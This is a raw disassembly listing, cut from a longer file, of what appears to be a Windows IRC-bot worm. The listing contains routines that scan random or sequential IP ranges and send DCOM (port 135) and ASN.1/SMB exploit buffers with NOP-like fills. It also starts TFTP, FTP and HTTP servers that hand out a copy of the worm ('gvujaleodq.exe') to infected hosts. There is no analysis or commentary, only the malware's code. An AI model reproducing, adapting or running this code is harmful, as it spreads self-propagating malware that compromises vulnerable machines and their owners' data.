push eax ; Src
lea eax, [ebp+var_14E0]
push eax ; Dst
call _memcpy
mov esi, offset Str ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_14D0]
push esi ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11AC]
push offset dword_41E7F4 ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11A8]
push [ebp+var_14] ; Src
push eax ; Dst
call _memcpy
add esp, 40h
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_119C]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_401D4D: ; CODE XREF: sub_401B98+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_401D4D
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi ; Size
push 31h ; Val
push eax ; Dst
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call _memset
push esi ; Size
lea eax, [ebp+var_68DC]
push 31h ; Val
push eax ; Dst
call _memset
add esp, 18h
jmp short loc_401DEB
; ---------------------------------------------------------------------------
loc_401D94: ; CODE XREF: sub_401B98+118j
push 7D0h ; Size
lea eax, [ebp+var_F14]
push 90h ; Val
push eax ; Dst
call _memset
mov esi, offset Str ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_E74]
push esi ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_10]
push eax ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_10]
push eax ; Src
lea eax, [ebp+var_758]
push eax ; Dst
call _memcpy
mov eax, dword_41E6B0
add esp, 2Ch
mov [ebp+var_768], eax
loc_401DEB: ; CODE XREF: sub_401B98+1FAj
push 0E29h ; Size
lea eax, [ebp+var_2CA8]
push 31h ; Val
push eax ; Dst
call _memset
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+Dst]
push eax
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401E2A
loc_401E23: ; CODE XREF: sub_401B98+2B9j
; sub_401B98+2E0j ...
xor al, al
jmp loc_401FD2
; ---------------------------------------------------------------------------
loc_401E2A: ; CODE XREF: sub_401B98+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_42EBCC ; recv
push ebx
push 68h
push offset dword_41E2E4
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401E23
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_42EBCC ; recv
push ebx
push 0A0h
push offset dword_41E350
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401E23
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_42EBCC ; recv
cmp [ebp+arg_C0], ebx
jz loc_401F40
push 68h ; Size
lea eax, [ebp+var_89B4]
push offset dword_41E508 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_4804]
push 1B5Ah ; Size
push eax ; Src
lea eax, [ebp+var_894C]
push eax ; Dst
call _memcpy
push 70h ; Size
lea eax, [ebp+var_68DC]
push offset dword_41E574 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_3770]
push 0A5Eh ; Size
push eax ; Src
lea eax, [ebp+var_686C]
push eax ; Dst
call _memcpy
push 84h ; Size
lea eax, [ebp+var_5DA8]
push offset dword_41E5E8 ; Src
push eax ; Dst
call _memcpy
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz loc_401E23
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_42EBCC ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_401F96
; ---------------------------------------------------------------------------
loc_401F40: ; CODE XREF: sub_401B98+2F8j
push 7Ch ; Size
lea eax, [ebp+var_2CA8]
push offset dword_41E3F4 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_F14]
push 7D0h ; Size
push eax ; Src
lea eax, [ebp+var_2C2C]
push eax ; Dst
call _memcpy
push 90h ; Size
lea eax, [ebp+var_245C]
push offset off_41E474 ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_401F96: ; CODE XREF: sub_401B98+3A6j
push eax
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz loc_401E23
push 12Ch
call ds:dword_41B048 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_401A39
add esp, 0BCh
test al, al
setnz al
loc_401FD2: ; CODE XREF: sub_401B98+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_401B98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401FD7(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_401FD7 proc near ; CODE XREF: .text:00401773p
var_854 = byte ptr -854h
var_810 = byte ptr -810h
Dest = byte ptr -214h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
Str = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call dword_42EBF0 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_42EBB4 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_42EC30 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4020D0
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jz loc_4020D0
push edi
push 89h
push offset dword_41E068
push ebx
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4020D0
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_42EBCC ; recv
push edi
push 0A8h
push offset dword_41E0F4
push ebx
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4020D0
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_42EBCC ; recv
push edi
push 0DEh
push offset dword_41E1A0
push ebx
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4020D0
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_42EBCC ; recv
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_4020DA
dec eax
jz short loc_4020D7
loc_4020D0: ; CODE XREF: sub_401FD7+54j
; sub_401FD7+6Aj ...
xor eax, eax
jmp loc_40219D
; ---------------------------------------------------------------------------
loc_4020D7: ; CODE XREF: sub_401FD7+F7j
push edi
jmp short loc_4020FE
; ---------------------------------------------------------------------------
loc_4020DA: ; CODE XREF: sub_401FD7+F4j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_401B98
add esp, 0C4h
test al, al
jnz short loc_40211E
push 1
loc_4020FE: ; CODE XREF: sub_401FD7+101j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_401B98
add esp, 0C4h
test al, al
jz short loc_402125
loc_40211E: ; CODE XREF: sub_401FD7+123j
mov [ebp+var_4], 1
loc_402125: ; CODE XREF: sub_401FD7+145j
push ebx
call dword_42EC48 ; closesocket
cmp [ebp+var_4], 0
jz short loc_40219A
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_B0] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_0] ; int
call sub_405E64
lea eax, [ebp+Dest]
push eax
call sub_402D63
mov eax, [ebp+arg_A8]
add esp, 2Ch
imul eax, 3Ch
inc dword_41F098[eax]
lea eax, dword_41F098[eax]
loc_40219A: ; CODE XREF: sub_401FD7+159j
push 1
pop eax
loc_40219D: ; CODE XREF: sub_401FD7+FBj
pop edi
pop esi
pop ebx
leave
retn
sub_401FD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4021A2(int,char *Str,int)
sub_4021A2 proc near ; CODE XREF: sub_409557+4FFEp
Source = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+Dest]
push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
push eax ; Dest
xor ebx, ebx
call _sprintf
cmp dword_41F090, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_402210
push esi
mov esi, offset dword_41F098
loc_4021D5: ; CODE XREF: sub_4021A2+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+Source]
push offset aSD ; " %s: %d,"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_4021D5
pop esi
loc_402210: ; CODE XREF: sub_4021A2+2Bj
push dword_4750D0
call sub_410D66
push eax
push ebx
lea eax, [ebp+Source]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 38h
pop edi
pop ebx
leave
retn
sub_4021A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40226C(int,char *Str,int,int)
sub_40226C proc near ; CODE XREF: sub_409557+4978p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_411E82
test eax, eax
pop ecx
jle short loc_4022A8
mov eax, [ebp+arg_C]
push dword_428D68[eax*8]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4022BB
; ---------------------------------------------------------------------------
loc_4022A8: ; CODE XREF: sub_40226C+13j
lea eax, [ebp+Dest]
push offset aScanScanNotAct ; "[SCAN]: Scan not active."
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4022BB: ; CODE XREF: sub_40226C+3Aj
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 18h
leave
retn
sub_40226C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4022E3(int,int,int,int,char Source,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_4022E3 proc near ; CODE XREF: sub_402A0C+4Fp
var_210 = dword ptr -210h
Dest = byte ptr -204h
var_4 = byte ptr -4
Source = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_402673
imul eax, 3Ch
xor ebx, ebx
cmp dword_41F09C[eax], ebx
jz loc_402554
push 4
call sub_411E82
test eax, eax
pop ecx
jnz loc_402673
mov eax, dword_424A48
push edi
mov edi, offset dword_429D24
push 104h
push edi
push ebx
mov dword_429F34, eax
mov dword_429F30, ebx
call ds:dword_41B068 ; GetModuleFileNameA
push 103h ; Count
mov esi, offset byte_429E28
push offset aGvujaleodq_exe ; "gvujaleodq.exe"
push esi ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_429D20, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov dword_429FB8, eax
jnz short loc_402396
lea eax, [ebp+Source]
push eax ; Source
push offset byte_429F38 ; Dest
call _strncpy
add esp, 0Ch
mov dword_429FBC, 1
jmp short loc_4023B0
; ---------------------------------------------------------------------------
loc_402396: ; CODE XREF: sub_4022E3+94j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_429F38 ; Dest
call _strncpy
add esp, 0Ch
mov dword_429FBC, ebx
loc_4023B0: ; CODE XREF: sub_4022E3+B1j
push esi
push edi
push dword_429F34
lea eax, [ebp+Dest]
push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 4 ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov dword_429F2C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_429D20
push offset sub_411743
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, dword_429F2C
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40241F
loc_40240D: ; CODE XREF: sub_4022E3+13Aj
cmp dword_429FC0, ebx
jnz short loc_40243A
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40240D
; ---------------------------------------------------------------------------
loc_40241F: ; CODE XREF: sub_4022E3+128j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40243A: ; CODE XREF: sub_4022E3+130j
lea eax, [ebp+Dest]
push eax
call sub_402D63
mov edi, offset dword_42A37C
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_42A588, ebx
call ds:dword_41B068 ; GetModuleFileNameA
push 103h ; Count
mov esi, offset byte_42A480
push offset aGvujaleodq_exe ; "gvujaleodq.exe"
push esi ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_42A378, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov dword_42A610, eax
jnz short loc_4024B5
lea eax, [ebp+Source]
push eax ; Source
push offset byte_42A590 ; Dest
call _strncpy
add esp, 0Ch
mov dword_42A614, 1
jmp short loc_4024CF
; ---------------------------------------------------------------------------
loc_4024B5: ; CODE XREF: sub_4022E3+1B3j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_42A590 ; Dest
call _strncpy
add esp, 0Ch
mov dword_42A614, ebx
loc_4024CF: ; CODE XREF: sub_4022E3+1D0j
push esi
push edi
push dword_42A58C
lea eax, [ebp+Dest]
push offset aFtpServerStart ; "[FTP]: Server started on Port: %d, File"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 5 ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov dword_42A584, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_42A378
push offset sub_404059
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, dword_42A584
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_402543
loc_40252D: ; CODE XREF: sub_4022E3+25Ej
cmp dword_42A618, ebx
jnz loc_402666
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40252D
; ---------------------------------------------------------------------------
loc_402543: ; CODE XREF: sub_4022E3+248j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"...
jmp loc_402657
; ---------------------------------------------------------------------------
loc_402554: ; CODE XREF: sub_4022E3+25j
cmp dword_41F0A0[eax], ebx
jz loc_402673
push 3
call sub_411E82
test eax, eax
pop ecx
jnz loc_402673
mov esi, offset byte_42A254
push 104h
push esi
push ebx
call ds:dword_41B068 ; GetModuleFileNameA
push 5Ch ; Ch
push esi ; Str
call _strrchr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_402592
mov [eax], bl
loc_402592: ; CODE XREF: sub_4022E3+2ABj
mov eax, dword_424A4C
mov dword_42A36C, ebx
mov dword_42A358, eax
lea eax, [ebp+Source]
push eax ; Format
push offset Dest ; Dest
call _sprintf
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_429FC8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_42A358
mov dword_42A364, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_42A368, ecx
call sub_408401
pop ecx
push eax
lea eax, [ebp+Dest]
push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push 3 ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov dword_42A360, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_429FC8
push offset sub_404771
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, dword_42A360
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40264B
loc_402639: ; CODE XREF: sub_4022E3+366j
cmp dword_42A374, ebx
jnz short loc_402666
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_402639
; ---------------------------------------------------------------------------
loc_40264B: ; CODE XREF: sub_4022E3+354j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...
loc_402657: ; CODE XREF: sub_4022E3+26Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_402666: ; CODE XREF: sub_4022E3+250j
; sub_4022E3+35Cj
lea eax, [ebp+Dest]
push eax
call sub_402D63
pop ecx
loc_402673: ; CODE XREF: sub_4022E3+14j
; sub_4022E3+35j ...
pop esi
pop ebx
leave
retn
sub_4022E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_402677(int Dst)
sub_402677 proc near ; CODE XREF: sub_4027F8:loc_402869p
Dst = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+Dst]
push esi
push 4 ; Size
lea esi, ds:428D68h[eax*8]
lea eax, [ebp+Dst]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_42EAF8 ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_42EBB0 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_402677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4026BF(char *Src,int)
sub_4026BF proc near ; CODE XREF: sub_4027F8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+Src] ; Str
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call _strlen
cmp eax, 0Fh
pop ecx
jbe short loc_4026E7
xor eax, eax
jmp short loc_402758
; ---------------------------------------------------------------------------
loc_4026E7: ; CODE XREF: sub_4026BF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+Src] ; Src
call _sscanf
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_402714
call _rand
mov [ebp+var_C], eax
loc_402714: ; CODE XREF: sub_4026BF+4Bj
cmp [ebp+var_8], esi
jnz short loc_402721
call _rand
mov [ebp+var_8], eax
loc_402721: ; CODE XREF: sub_4026BF+58j
cmp [ebp+var_4], esi
jnz short loc_40272E
call _rand
mov [ebp+var_4], eax
loc_40272E: ; CODE XREF: sub_4026BF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40273A
call _rand
loc_40273A: ; CODE XREF: sub_4026BF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_428D68[ecx*8], eax
loc_402758: ; CODE XREF: sub_4026BF+26j
pop esi
leave
retn
sub_4026BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40275B proc near ; CODE XREF: sub_4027F8+B8p
; sub_403EEB+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_42EC30 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_402784
xor eax, eax
jmp short loc_4027F3
; ---------------------------------------------------------------------------
loc_402784: ; CODE XREF: sub_40275B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_42EBB4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_42EC4C ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_42EB60 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_42EB9C ; select
push esi
mov edi, eax
call dword_42EC48 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_4027F3: ; CODE XREF: sub_40275B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40275B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027F8 proc near ; DATA XREF: sub_402A0C+13Bo
var_2A8 = dword ptr -2A8h
Dest = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
Src = byte ptr -150h
var_140 = byte ptr -140h
Str = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+Src]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40283F: ; CODE XREF: sub_4027F8+200j
mov eax, dword_430544[ebx]
cmp dword_428D6C[eax*8], 0
jz loc_4029FD
cmp [ebp+var_10], 0
push eax ; Dst
jz short loc_402869
lea eax, [ebp+Src]
push eax ; Src
call sub_4026BF
pop ecx
jmp short loc_40286E
; ---------------------------------------------------------------------------
loc_402869: ; CODE XREF: sub_4027F8+60j
call sub_402677
loc_40286E: ; CODE XREF: sub_4027F8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_430544[ebx]
push [ebp+var_3C]
push edi
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax ; Format
lea eax, dword_430340[ebx]
push eax ; Dest
call _sprintf
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40275B
add esp, 2Ch
cmp eax, 1
jnz loc_4029ED
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_402942
push offset dword_429D08
call ds:dword_41B074 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_402924
cmp [ebp+Str], 0
push 1 ; int
push [ebp+var_18] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
jnz short loc_402918
lea eax, [ebp+var_140]
loc_402918: ; CODE XREF: sub_4027F8+118j
push eax ; Str
push [ebp+var_40] ; int
call sub_405E64
add esp, 14h
loc_402924: ; CODE XREF: sub_4027F8+FDj
lea eax, [ebp+Dest]
push eax
call sub_402D63
mov [esp+2A8h+var_2A8], offset dword_429D08
call ds:dword_41B070 ; RtlLeaveCriticalSection
jmp loc_4029ED
; ---------------------------------------------------------------------------
loc_402942: ; CODE XREF: sub_4027F8+CDj
push edi
call dword_42EC3C ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_208]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aAsn1smbnt ; "asn1smbnt"
push eax ; Format
lea eax, [ebp+var_178]
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+Str], 0
lea eax, [ebp+Str]
jnz short loc_402986
lea eax, [ebp+var_140]
loc_402986: ; CODE XREF: sub_4027F8+186j
push eax ; Format
lea eax, [ebp+var_1F8]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_41F094[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_4029ED: ; CODE XREF: sub_4027F8+C3j
; sub_4027F8+145j
push 7D0h
call ds:dword_41B048 ; Sleep
jmp loc_40283F
; ---------------------------------------------------------------------------
loc_4029FD: ; CODE XREF: sub_4027F8+55j
push esi
call sub_411F56
pop ecx
push 0
call ds:dword_41B06C ; ExitThread
sub_4027F8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A0C proc near ; DATA XREF: sub_409557+2B60o
; sub_409557+449Eo
var_1DC = dword ptr -1DCh
Source = byte ptr -1CCh
var_14C = byte ptr -14Ch
Str = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_42EBF0 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_428D68[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_4022E3
push 8
call sub_411E82
add esp, 150h
cmp eax, ebx
jnz short loc_402ADA
mov esi, offset dword_429D08
push esi
